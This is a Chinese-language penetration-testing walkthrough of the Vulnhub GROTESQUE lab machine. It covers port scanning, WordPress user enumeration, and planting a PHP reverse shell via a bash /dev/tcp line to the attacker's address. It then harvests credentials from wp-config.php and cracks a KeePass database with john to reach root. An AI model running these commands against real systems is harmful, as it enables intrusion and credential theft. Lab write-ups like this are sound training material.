【渗透测试】Vulnhub GROTESQUE 1.0.1

渗透环境

攻击机： IP: 192.168.10.18（Kali）

靶机： IP：192.168.10.9

靶机下载地址：https://www.vulnhub.com/entry/grotesque-101,658/

涉及知识点：WordPress扫描（WPScan）、WrodPress反弹shell、Keypass文件解密

进行渗透

一、获取端口信息

nmap或者arp-scan都能扫除IP，这里就不赘述了。先看看开放了哪些端口。

nmap -O -sV -p- -A 192.168.10.9

开放了66和80端口。

二、寻找WEB漏洞

直接访问80端口，返回404，无法登录。

访问66端口，可正常访问。点击红框下载文件

解压后，在_vvmlist中有很多内容大致相同的文件，这里通过读取该路径下所有文件的内容，并去除重复行，得到80端口的路径

cat ./_vvmlist/* | sort | uniq

sort：将输出内容排序

uniq：去除相同行

成功访问，并且可以看到CMS为WrodPress

扫描该路径

dirsearch -u http://192.168.10.9/lyricsblog/

其中wp-login.php是用户登录的文件。

WPScan是一款用于WordPress的扫描器，可以对用户等进行扫描。

wpscan --url http://192.168.10.9/lyricsblog/ -e at -e ap -e u

-e at：启用枚举插件（at 是 authors 的缩写）。它会列出目标网站上所有的作者信息。这对于发现可能存在的弱密码或错误配置的帐户很有用。

-e ap：启用枚举插件（ap 是 plugins 的缩写）。它会列出目标网站上使用的插件信息。通过这一步可以找到目标网站上是否存在已知的漏洞。

-e u：启用枚举插件（u 是 users 的缩写）。它会列出目标网站上的所有用户。这有助于发现是否有公开的管理员或其他用户账户，可能被用于后续的攻击。

得到用户名：erdalkomurcu

至于密码，简单来说就是根据歌词文件的MD5值得到的，脑洞比较大，可以看一下别的文章，这里就不赘述，直接给出密码：BC78C6AB38E114D6135409E44F7CDDA2

使用得到的用户和密码在wp-login.php进行登录。登录后写入反弹shell的语句。这里可以选择任意一个php文件写入，我选择写入index.php（在写入反弹shell语句之前，可以测试phpinfo()是否可以执行）

system("bash -c 'bash -i >& /dev/tcp/192.168.10.18/4444 0>&1'");

kali启动端口监听4444端口，访问 http://192.168.10.9/lyricsblog 即可反弹shell

nc -nlvp 4444

查看wp-config.php，看到用户raphael，密码为_double_trouble_

切换到/home目录下，看到存在用户raphael，尝试切换用户，成功登录

第一个flag就在/home/raphael/user.txt中

三、提权

在/home/raphael/路径下还有隐藏文件chadroot.kdbx

知识点：kdbx文件是由软件KeePass导出的密钥文件，可以将所有的密码都加密存储在这个文件中。只需要一个主密钥，即可解密该密钥文件，得到所有密码。

keepass2john是一个辅助工具，它用于从 KeePass 数据库 (.kdbx) 文件中提取哈希值，以便 John the Ripper 进行破解。

john是 John the Ripper 的主程序，负责使用不同的破解策略（如字典攻击、暴力破解等）对提取的哈希值进行破解，以尝试恢复原始密码。

先将该文件传输到kali上，靶机启动简易传输服务

python3 -m http.server 8000

kali下载该文件

wget 192.168.10.9:8000/.chadroot.kdbx

提取哈希值，将哈希值写入文件hash.txt

keepass2john .chadroot.kdbx > hash.txt

指定字典破解密码（初次使用该字典需要解压： gzip -d /usr/share/wordlists/rockyou.txt.gz）

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

得到主密钥：chatter

登录网站：https://app.keeweb.info/

选择打开kdbx文件，输入密钥chatter，即可得到所有密码

使用第三个密码，即可成功切换到root用户。密码为：.:.subjective.:.

第二个flag就在/root/root.txt